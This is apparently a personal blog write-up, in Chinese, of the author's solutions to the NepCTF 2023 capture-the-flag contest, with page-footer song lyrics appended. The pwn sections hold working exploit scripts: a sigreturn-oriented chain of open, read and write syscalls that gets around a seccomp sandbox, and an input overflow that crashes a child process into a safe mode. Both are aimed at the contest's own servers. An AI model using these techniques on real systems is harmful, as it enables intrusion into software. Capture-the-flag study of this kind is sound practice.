求知若渴,虚心若愚.|

lmarch2

园龄:1年8个月粉丝:5关注:7

2023 NepCTF WP

NepCTF2023 WP

真的超级紧张刺激的比赛!!有做不出题目夜不能寐的痛苦,也有冥思苦想之后的豁然开朗,第一次感受到了ctf比赛的乐趣所在。虽然最后的成绩停留在110,不过对于一个初出茅庐的萌新,已经很满足了;即使比赛结束后才做出三月七和最后放出的两个pwn题(挺气的,早知道不看万恶的login的......)。那就给自己继续加油吧,希望下次比赛能拿到属于自己的一份荣誉!

PWN

srop

使用经典srop技巧,但是在此基础上又加了orz,观察程序会发现,能够调用sigreturn(调用号为0xf),而且溢出量足够大(0x300)。整体的一个思路就是构造system call chains,伪造四个栈帧,在syscall返回的时候,rsp会返回到另一个sigframe,从而实现一个又一个的函数调用。

几个注意点:

  1. 利用pwntools写frame的时候对各个寄存器传入的都是地址,不能直接把字符串写进去(会bytes()报错 别问为什么我知道
  2. 返回执行系统syscall的时候注意这个程序只有call _system,而没有直接的syscall汇编指令,而进入到call _system单步调试可以发现这个过程中各个寄存器的值是会发生变化的(不同的寄存器之间赋值),所以我们在构造frame指定寄存器值的时候需要根据call _system中的指令来调整frame的各个寄存器值,sigreturn也是如此,有其他的命令会改变rax的值,因此需要多一个pop rdi控制一下
  3. 各个stack_frame需要精心构造
  4. 因为沙箱禁掉了execve,所以我们使用open,read,write绕过沙箱。(一定注意这里读取文件内容的read系统调用rdi传参是3)

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

#p = process("./pwn")
p = remote('nepctf.1cepeak.cn',31552)


#gdb.attach(p)
#syscall = 0x400788
syscall = 0x04005B0
pop_rdi = 0x0000000000400813
sigreturn = p64(pop_rdi)+p64(0xf)+p64(0x400750)+p64(syscall)
buf = 0x0601020  # buf地址


#write
frame4 = SigreturnFrame(kernel='amd64')
frame4.rdi = constants.SYS_write#rax
frame4.rcx = 0x40#rdx
frame4.rsi = 1#rdi
frame4.rdx = buf#rsi
frame4.rip = syscall
frame4.rsp = buf#+len(sigreturn+bytes(sigframe))  # 设置栈顶指针位置
stack3 = sigreturn+bytes(frame4)

#open
frame2 = SigreturnFrame(kernel='amd64')
frame2.rdi = constants.SYS_open#rax
frame2.rcx = 0#rdx
frame2.rsi = buf#rdi注意这里是不能直接传字符串"flag"的,而是应该传地址
frame2.rip = syscall
frame2.rsp = buf+5+len(sigreturn+bytes(frame2))  # 设置栈顶指针位置
stack1 = sigreturn+bytes(frame2)

#read2
frame3 = SigreturnFrame(kernel='amd64')
frame3.rdi = constants.SYS_read#rax
frame3.rcx = 0x40#rdx
frame3.rsi = 3#rdi
frame3.rdx = buf#rsi
frame3.rip = syscall
frame3.rsp = buf+5+len(stack1+sigreturn+bytes(frame3))  # 设置栈顶指针位置
stack2 = sigreturn+bytes(frame3)

stack_frame = b"flag\x00"+stack1+stack2+stack3
#stack_frame = sigreturn+bytes(sigframe)+sigreturn+bytes(sframe)

#read1
frame = SigreturnFrame(kernel='amd64')
frame.rdi = constants.SYS_read#rax
frame.rcx = len(stack_frame)#rdx
frame.rsi = 0#rdi
frame.rdx = buf#rsi
frame.rip = syscall
frame.rsp = buf+5  # 设置栈顶指针位置


print(bytes(frame))

pad = cyclic(0x38)
pad += sigreturn + bytes(frame)

p.recv()
p.send(pad)

#pause(1)
#gdb.attach(p)
p.send(stack_frame)

p.interactive()





image-20230814004138378

可恶的Login找不出路径......

HRP-CHAT-2

真的服了....真的就差一步,下标没弄清楚,其实一个个试都可以试出来的....

获得攻击力最高的角色(需要抽卡得到,抽卡的次数会影响你的下标)

选择攻击力最强的技能,击败boss即可拿到flag

image-20230815135736939

HRP-CHAT-3

阅读源码

image-20230815141853615

main函数里执行子进程,崩溃进入CMD

CMD函数

image-20230815141945133

可以想到让子进程崩溃后,进入安全模式拿flag

from pwn import *
context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']

#p = process("./")
p = remote('nepctf.1cepeak.cn',31971)

sda = lambda delim,data :p.sendafter(delim,data)
sd = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))
ia = lambda :p.interactive()

def get_addr64() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_addr32() : return u32(p.recvuntil(b'\xf7')[-4:])

ru(b'help')
sl(b'Login\n')
sla('6',b'Login\n'*0x517)

sl(b'\nSafe_Mode_Key')

ia()

image-20230815143957697

MISC

checkin

一个号只能发一次,第一次发错了....(哭)

NepCTF{H4ve_Fun_1N_This_Game}

与AI共舞的哈夫曼

年轻人就要年轻,正经人谁自己做题啊~x

GPT秒了

image-20230814001753757

import heapq
import os

class HuffmanNode:
    def __init__(self, char, freq):
        self.char = char
        self.freq = freq
        self.left = None
        self.right = None

    def __lt__(self, other):
        return self.freq < other.freq

def build_huffman_tree(frequencies):
    heap = [HuffmanNode(char, freq) for char, freq in frequencies.items()]
    heapq.heapify(heap)

    while len(heap) > 1:
        left = heapq.heappop(heap)
        right = heapq.heappop(heap)
        merged = HuffmanNode(None, left.freq + right.freq)
        merged.left = left
        merged.right = right
        heapq.heappush(heap, merged)

    return heap[0]

def build_huffman_codes(node, current_code, huffman_codes):
    if node is None:
        return

    if node.char is not None:
        huffman_codes[node.char] = current_code
        return

    build_huffman_codes(node.left, current_code + '0', huffman_codes)
    build_huffman_codes(node.right, current_code + '1', huffman_codes)

def compress(input_file, output_file):
    with open(input_file, 'rb') as f:
        data = f.read()

    frequencies = {}
    for byte in data:
        if byte not in frequencies:
            frequencies[byte] = 0
        frequencies[byte] += 1

    root = build_huffman_tree(frequencies)
    huffman_codes = {}
    build_huffman_codes(root, '', huffman_codes)

    compressed_data = ''
    for byte in data:
        compressed_data += huffman_codes[byte]

    padding = 8 - len(compressed_data) % 8
    compressed_data += '0' * padding

    with open(output_file, 'wb') as f:
        # Write frequency information
        f.write(bytes([len(frequencies)]))
        for byte, freq in frequencies.items():
            f.write(bytes([byte, (freq >> 24) & 0xFF, (freq >> 16) & 0xFF, (freq >> 8) & 0xFF, freq & 0xFF]))

        # Write compressed data
        for i in range(0, len(compressed_data), 8):
            byte = compressed_data[i:i+8]
            f.write(bytes([int(byte, 2)]))


def decompress(compressed_file, decompressed_file):
    with open(compressed_file, 'rb') as f:
        # 读取频率信息
        num_symbols = int.from_bytes(f.read(1), byteorder='big')
        frequencies = {}
        for _ in range(num_symbols):
            byte, freq1, freq2, freq3, freq4 = f.read(5)
            freq = (freq1 << 24) | (freq2 << 16) | (freq3 << 8) | freq4
            frequencies[byte] = freq

        # 构建哈夫曼树
        root = build_huffman_tree(frequencies)

        # 解压缩数据
        current_node = root
        decompressed_data = bytearray()
        while True:
            bit = f.read(1)
            if not bit:
                break

            bit = int.from_bytes(bit, byteorder='big')
            for i in range(7, -1, -1):
                if current_node.char is not None:
                    decompressed_data.append(current_node.char)
                    current_node = root

                if (bit >> i) & 1 == 1:
                    current_node = current_node.right
                else:
                    current_node = current_node.left

        # 写入解压缩后的数据
        with open(decompressed_file, 'wb') as output_f:
            output_f.write(decompressed_data)

if __name__ == "__main__":
    input_file = 'input.txt'
    compressed_file = 'compressed.bin'
    decompressed_file = 'decompressed.txt'

    # 解压缩文件
    decompress(compressed_file, decompressed_file)

image-20230814101049586

codes

各种尝试想要提权结果没一个函数有用的,system,getenv,mprotect甚至read甚至env本身全都禁掉了

只好直接输出,想到函数参数依次入栈,而env环境变量也是main函数的一个参数,从而想到在argc的基础上++移动指针,暴力输出大量数据,从中找到flag

#include <stdio.h>
int main( int argc, char *argv[])
{
  forint i = 0; i< argc; ++i)
    {
      for(int j = 0;j<700;++j)
        printf("%d': %s n", i, argv[ i 」 + j );
    }

return 0;
}

(优雅)

image-20230814002546260

image-20230814002608949

小叮弹钢琴

mid音频隐写(我思考velato这样的音符编程语言尝试了好久最后发现就是个隐写??)

前半段是短音符和长音符,判断是摩斯电码,后面的是一串十六进制数字

摩斯电码解码得到tip:youshouldusethistoxorsomething

真,一开始断句成了this tox or something (甚至找了半天tox是啥)

接下来异或卡了好久,愣是没想到是用这句话去异或

之后联想前几个字母是NepCTF,尝试发现与之异或的是you,才发现把youshouldusethistoxorsomething这句话去异或0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17就行了

image-20230814003810621

陌生的语言

由给出的hint可知是小魔女学园的月文和龙语。

纯粹的信息收集了

img

NepCTF{NEPNEP_A_BELIEVING_Heart_is_your_magic}

ConnectedFive

真的是下棋下出来的

image-20230814005007869

你也喜欢三月七么

题目所给附件

salt_lenth= 10 
key_lenth= 16 
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext= 
b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc

image-20230829202743433

看上去是AES,根据题目:

salt=NepCTF2023

salt用sha256加密后得到key,解得sha256(salt)= dd8e671df3882c5be6423cd030bd7cb69671ef27dfe7a541903edc4e23168009

截取前十六位为key

from Crypto.Cipher import AES

key = 'dd8e671df3882c5be6423cd030bd7cb69671ef27dfe7a541903edc4e23168009'
iv_hex = '88219bdee9c396eca3c637c0ea436058' #原始iv转hex的值
ciphertext= '''b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc'''

# 把hex值转成bytes
iv = bytes.fromhex(iv_hex)
key = bytes.fromhex(key)[:16]
ciphertext = bytes.fromhex(ciphertext)

aes = AES.new(key, AES.MODE_CBC, iv)
plaintext = aes.decrypt(ciphertext)
print('plaintext:', plaintext)
# plaintext: b'6148523063484d364c793970625763784c6d6c745a3352774c6d4e76625338794d44497a4c7a41334c7a49304c336c5061316858553070554c6e42755a773d3d'

base64解码得到url

解压压缩包得

image-20230829203026261

找了找星铁的文字

对找得到flag

NepCTF{HRP_aIways_likes_March_7th}

本文作者:lmarch2

本文链接:https://www.cnblogs.com/imarch22/p/17636325.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   lmarch2  阅读(380)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.

作曲 : Reol

作词 : Reol

fade away...do over again...

fade away...do over again...

歌い始めの一文字目 いつも迷ってる

歌い始めの一文字目 いつも迷ってる

どうせとりとめのないことだけど

伝わらなきゃもっと意味がない

どうしたってこんなに複雑なのに

どうしたってこんなに複雑なのに

噛み砕いてやらなきゃ伝わらない

ほら結局歌詞なんかどうだっていい

僕の音楽なんかこの世になくたっていいんだよ

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.

目の前 広がる現実世界がまた歪んだ

目の前 広がる現実世界がまた歪んだ

何度リセットしても

僕は僕以外の誰かには生まれ変われない

「そんなの知ってるよ」

気になるあの子の噂話も

シニカル標的は次の速報

麻痺しちゃってるこっからエスケープ

麻痺しちゃってるこっからエスケープ

遠く遠くまで行けるよ

安定なんてない 不安定な世界

安定なんてない 不安定な世界

安定なんてない きっと明日には忘れるよ

fade away...do over again...

fade away...do over again...

そうだ世界はどこかがいつも嘘くさい

そうだ世界はどこかがいつも嘘くさい

綺麗事だけじゃ大事な人たちすら守れない

くだらない 僕らみんなどこか狂ってるみたい

本当のことなんか全部神様も知らない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.